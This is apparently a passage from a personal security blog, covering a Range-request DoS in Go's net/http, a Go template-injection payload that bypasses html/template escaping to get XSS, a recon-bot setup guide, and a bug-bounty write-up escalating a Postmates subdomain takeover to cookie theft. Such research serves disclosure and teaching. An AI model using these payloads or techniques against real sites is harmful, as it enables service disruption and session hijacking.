If the server is vulnerable to the above attack, it creates pieces of a multipart response for each range specified. That eats up both memory and CPU on the server, and doing so tens or hundreds of times for multiple attacker connections is enough to exhaust the server resources and cause the DoS. The range requests in the attack are obviously not reasonable, but they are legal according to the HTTP specification. Apache and Squid have been found vulnerable to this attack in the past. (reference here)

Attacking Go's net/http

Now that we know what a textbook RRDoS attack request looks like, let's try to reproduce it in Go's net/http package.

We create a server with the following code:

- http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("./"))))

This simply serves any content inside the /static/ directory.

Now when we try to send a malicious range request to the /static directory using a lot of concurrent threads, we are clearly able to see that the server lags out quite a lot in response to it. However, when we read the response that we finally get, we see that the server did NOT send a response to the Range request. It merely sends us the complete image file, without the multipart stuff.

If this is happening, and the server isn't responding to the Range request, then why does the server take so much time to respond to the request?

The answer lies in the code written in Go for handling Range requests in the net/http/fs.go file.

If you see, on line 10 of the above code, there indeed exists a check for this exact attack by use of the sumRangesSize() function. Then why are we still getting uncontrolled memory consumption?

So whats happening is, on line 2 of the above code, there is a function called parseRange(), which is still parsing the Range request sent. If you look at the code for the parseRange() function, it processes the values in the Range header, and simultaneously creates an array of type []httpRange, whose length is equal to the different ranges specified in the Range header (eg. 1-5, 20-25 etc.) to hold the requested bytes.
Even though these bytes aren't pushed to the array, the array is still declared as a placeholder for these values, which takes up a lot of memory allocation.

And this is why we see a rise in the memory consumption of the server, when sending a lot of these malicious Range requests on several concurrent threads to a server.

[SSTI] Exploiting Go's template engine to get XSS

Thu, 18 Jun 2020 09:48:00 +0000

This vulnerability is an edge case of user data being passed directly into the template, and the exploit is a result of not using the intended way of rendering templates in Go.

I recently started working with Go and decided to play around with it's in built packages for web related stuff. It's a very neat language which is easy to learn and implement. While looking at the web development side of the language, I came across the package for templates. My first thought was to see if I could get an SSTI to work in it, but sadly I couldn't find any resources online. Through some thorough reading of the templating documentation and some quirks, I was able to successfully achieve XSS. This blogpost signifies the process of finding and exploiting an SSTI in a server written in Go.

Introduction to Go's templating engine

Go provides two templating packages. One is text/template and the other is html/template. The text/template package has no protections for XSS or any kinds of HTML encoding whatsoever. This isn't suited for building web apps, but instead for use in different apps which don't require processing of HTML. The second package, html/template is basically the same as text/template, but with added security protections like HTML encoding and so on.

For sake of understanding the exact templating used, the following code will be used to demonstrate further attacks:

Detecting and confirming

Detecting SSTI in Go isn't as simple as sending {{7*7}} and checking for 49 in the source code. Our first step is going through the documentation to find behavior in templates that is native only to Go- this is done so as to confirm the backend language so that we can focus our payloads only in context of that language. The way to confirm that the template engine used in the backed is Go, following is a non-exhaustive list of payloads and their respective outputs:

This will result in an output containing the data struct being passed as input to the template, which in our case is the user1 struct. This can be thought of as the equivalent of {{ self }} in other templating engines. The output in our case would be something like: {1 ameya@gmail.com ameya#123}

In case the above payload doesn't output anything, we can use this payload, which should simply output the string ssti in the response.

{{html "ssti"}}, {{js "ssti"}} etc.

These are a few other payloads which should output the string "ssti" without the trailing words "js" or "html". You can refer to more keywords in the engine here.

Exploitation

If you have confirmed the above payloads to match Go's behavior, you can now proceed to exploit it to achieve XSS. If the server is using the text/template package, XSS is very easy to achieve by simply providing your payload as input. However, that is not the case with html/template.

When the server uses the html/template package, all HTML entities are encoded. So, in our case if you try to send /?q={{"<script>alert(1)</script>"}} the response will be rendered to <script>alert(1)</script>. Even going through the documentation doesn't help much as there is no way to render any of our XSS payloads without the default encoding behavior. However, Go allows to DEFINE a whole template and then later call it.

`{{define "T1"}}ONE{{end}}{{template "T1"}}`

Using the above behavior, we can introduce an XSS payload in a template, and then get it rendered by simply calling it.

The payload will be something like:

`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`

Using this, you should be able to exploit the inbuilt HTML encoder of the html/template package and successfully achieve XSS.

Introducing Slacker: Monitoring subdomain additions in real time and automating directory scanning

Sat, 25 Apr 2020 12:59:00 +0000

Hi everyone, this post signifies the release of Slacker- a Slack bot which alerts you about subdomain additions to assets in realtime, (and also enables you to schedule directory scanning for any websites you may wish to monitor), so you can get an advantage over other bounty hunters when it comes to continuous recon. In this blogpost I will show exactly how to setup the bot, which should take less than 25 minutes. Once you're done, you should get alerts in realtime of whenever a certificate is added, as shown below:

Requirements

Valid FB developer account
Access to Slack API (bots, webhooks etc.)
A valid domain you own
Your own server (i.e. DigitalOcean, AWS instances etc.)

Setting up the server

Setup a free Cloudflare account, add your domains to it, and then point your domain name's A record to the server IP you own by following the instructions (the Cloudflare setup instructions are clear enough to follow), to enable SSL. If you don't have a domain, you can buy one for as low as 1$ a year from GoDaddy, eg. :
Clone https://github.com/t4kemyh4nd/Slacker on your server.
Install mongodb and dirsearch.
Run ./install.sh then run python listener.py in the recon-bot directory.

Setting up certificate transparency webhooks from Facebook

We'll be using Facebook's CT API to make this bot. You can read more about it here.

Go to https://developers.facebook.com/apps/, and create a new app. Fill in the required details etc.
After this, you should be presented with a page with available developer products for use. Choose 'Webhooks' in that list.
In options, select "Certificate Transparency' as shown below, and click on "Subscribe to this object".
In the following dialog box, enter the value of "Callback URL" as https://{your-domain-here}/subdomain-alert (remember to run listener.py on your server first) and a random value for the "Verify Token" field. You should now be able to save this subscription.
In order to receive alerts for real websites, you need to take your app Live. To do this, go to Settings > Basic, and enter the required details. To create a Privacy Policy URL for a website go to https://app.freeprivacypolicy.com/builder/start/free-privacy-policy, and copy the generated link from there. After this, you should be able to take your app live.
Get your FB App Access Token by issuing the following curl request: curl -X GET "https://graph.facebook.com/oauth/access_token?client_id={your-app-id}&client_secret={your-app-secret}&grant_type=client_credentials"

Setting up the Slack bot

Got to https://api.slack.com/apps and create an app for your workspace.
Create 2 channels in your workspace, namely #subdomain-alerts and #dirscan-alerts
In your app settings, on the left hand side, go to "OAuth and permissions" and add the following permissions:
Now we need to add an incoming webhook. So on the left hand side again, go to the "Incoming Webhooks" option, and add a webhook for the #dirscan-alerts channel, as shown below. Note down the webhook URL.
Now we have to add "Slash commands" for the bot, so that we can add, remove or monitor domains by simply sending messages to the bot using Slack itself. Go to the "Slash Commands" section in app settings, and add commands like shown below:
Now, for every command you create, in the "Edit Command" dialogue, enter the request URL as https://{your-domain-name}/{command-name}. That is, for the "/add-domain" command, your request URL will be https://recon.takemyhand.xyz/add-domain, as shown:

That's it! Once this app is installed in your workspace, you can now use it to monitor subdomain additions in realtime! Simply run `python listener.py` and you can now run the app. Here is the list of commands that you can use in your workspace, with what every one of them does:

/add-domain {domain-name}: add a domain to monitor, eg. paypal.com, postmates.com etc.
/list-domains: list of domains you have added to monitor
/remove-domains {domain-name}: remove a domain from the list
/add-dirscan {subdomain-name}: add a (sub)domain to monitor for file additions
/list-dirscan: list domains added for directory scanning

Currently, the subdomain additions are updated in realtime; however, the directory scanning is done at a specific time every day. You can change this time by changing the last line of the schedule class instance in the last line of the dirapi.py file. eg. you can change it to schedule.every(30).minutes.do(self.compareResults) to monitor directory additions every 30 minutes. You can also add your own custom wordlist by changing the wordlist file in the dirsearch directory.

Feel free to point out any mistakes that I may have made in the code, or if you have problems with the installation / running of the application.

</div>

Escalating subdomain takeovers to steal cookies by abusing document.domain

Fri, 24 May 2019 06:44:00 +0000

Hi everyone,

It's been a really long time since I've blogged about anything. Mainly because I got a job as security analyst- therefore I've been very busy. And I also got into Synack!

This blog post focuses on one of my recent findings, how I was able to escalate an out of scope subdomain takeover to steal the session cookies. And how I also thought of a few more methods to escalate it, affecting the main domain.

Before I get started with the bug, I would like to talk a little about same-origin policy. If 2 websites want to communicate with each other, or perhaps if 2 hosts want to interact with each other, there could be mainly 2 ways to go around this. The book "Tangled Web" (a great book, do read it) states the following:

"Attempts to broaden origins or facilitate cross-domain interactions are more common. The two broadly sup- ported ways of achieving these goals are document.domain and postMessage(...)"

DOCUMENT.DOMAIN

This JavaScript property permits any two cooperating websites that share a common top-level domain (such as example.com, or even just .com) to agree that for the purpose of future same-origin checks, they want to be considered equivalent.

So basically, if login.example.com and www.example.com both explicitly set their document.domain to example.com, this will lax the same-origin policy checks thereafter.

Exploitation

I was hunting on the Postmates bug bounty program from H1. Now this program has a limited scope. I came across an [[in-scope]] endpoint like the following:

https://raster-static.postmates.com/?url=

Now this endpoint was only was only accepting image links coming from subdomains of postmates.com. I thought, if somehow I can find a subdomain takeover, maybe I can find an SSRF or perhaps serve my own malicious content to the victim. So I went ahead and fired up some subdomain discovery tools and started sifting through them. I found one subdomain, impact.postmates.com, which was prone to a Github subdomain takeover. I went ahead and added the custom domain name to my test repo and the subdomain was mine.

However, I couldn't have access to any backend, so an SSRF was impossible in this case. The max I could do was serve random JPEG's. Bummer.

After a lot of time of thinking, something struck my mind. The main domain for users in Postmates is, postmates.com.

Now, "Tangled Web" also states:

"Simply because login.example.com has set its document.domain to example.com does not mean that it will be allowed to access content originating from the website hosted at http://example.com/. That website needs to perform such an assignment, too, even if common sense would indicate that it is a no-op."

So, if and only if, postmates.com has explicitly set it's document.domain, maybe I could set impact.postmates.com's document.domain to postmates.com and access it's cookies somehow?

Precursor: a.xyz.com can NOT set it's document.domain to a.a.xyz.com or b.xyz.com, but it CAN set it's document.domain to xyz.com. An example of changing the values of blog.takemyhand.xyz to other settings:

That being said, I went ahead to check if postmates.com had explicitly set their document.domain. They had! Now, you have to keep in mind, that this attack worked only because the main domain of the program was postmates.com (that is, document.domain = postmates.com) and not something like www.postmates.com (document.domain possibly set to www.postmates.com, because then I could not set the document.domain of impact.postmates.com to www.postmates.com). So now all I had to do was, using JS, set the document.domain to postmates.com, and add the following code in my javascript to steal the cookies from the main account:

That's it, I could alert the cookies of postmates.com now, and possibly perform an account takeover, since I had complete access to the DOM of the main website.

While working on this, I even thought of a few other creative ways to escalate an subdomain takeover to increase it's impact:

Bypassing X-Frame-Options : SAMEORIGIN
Bypassing CORS validation where the Access-Control-Allow-Origin is set to *.example.com (* being any subdomain)
Bypassing URL validation wherever applicable (eg. open redirects to steal OAuth login tokens etc.

Regards,

t4kemyh4nd

takemyhand - security blog

Analyzing WebAPKs in Chrome for Android - Part 1

Introduction

What is a WebAPK?

Intent

Understanding the structure of the code

“Add to Home Screen”

Generation of the WebAPK - Google’s minting server

Parsing the WebApkResponse

Chrome talks to Google Play services

RCE in GitLab's CLI tool

Introduction

Attack surface

Exploitation

Attack scenario

PoC video

Further limitations

Conclusion

Hacking Xiaomi's android apps - Part 1

1. Stealing users' AuthToken by hijacking WebView in Mi Home

2. Overly verbose app logs in Xiaomi Market

3. Task deception using app linking in Mi Music

4. Remote WebView hijack to exfiltrate data in Mi Music

Other payloads:

Display android toast:

Get user search history:

Query current playing song:

5. Remote WebView hijack using open redirect in Xiaomi Game Center leads to theft of data / privacy violation

Misconfiguration in Game Center's BaseWebViewClient

JavaScript bridge in Game Center

Android task hijacking using moveTaskToBack() and excludeFromRecents

What is task hijacking in Android?

What are tasks and back stacks?

Android launch modes

Task hijacking with moveTaskToBack() function and excludeFromRecents attribute

Preventing task hijacking

Range Request DoS: An uncontrolled memory consumption vector in Go's net/http

What are Range requests?

Multipart ranges

The attack

Attacking Go's net/http

[SSTI] Exploiting Go's template engine to get XSS

Introduction to Go's templating engine

Detecting and confirming

{{ . }}

{{printf "%s" "ssti" }}

{{html "ssti"}}, {{js "ssti"}} etc.

Exploitation

Introducing Slacker: Monitoring subdomain additions in real time and automating directory scanning

Requirements

Setting up the server

Setting up certificate transparency webhooks from Facebook

Setting up the Slack bot

Escalating subdomain takeovers to steal cookies by abusing document.domain

DOCUMENT.DOMAIN

Exploitation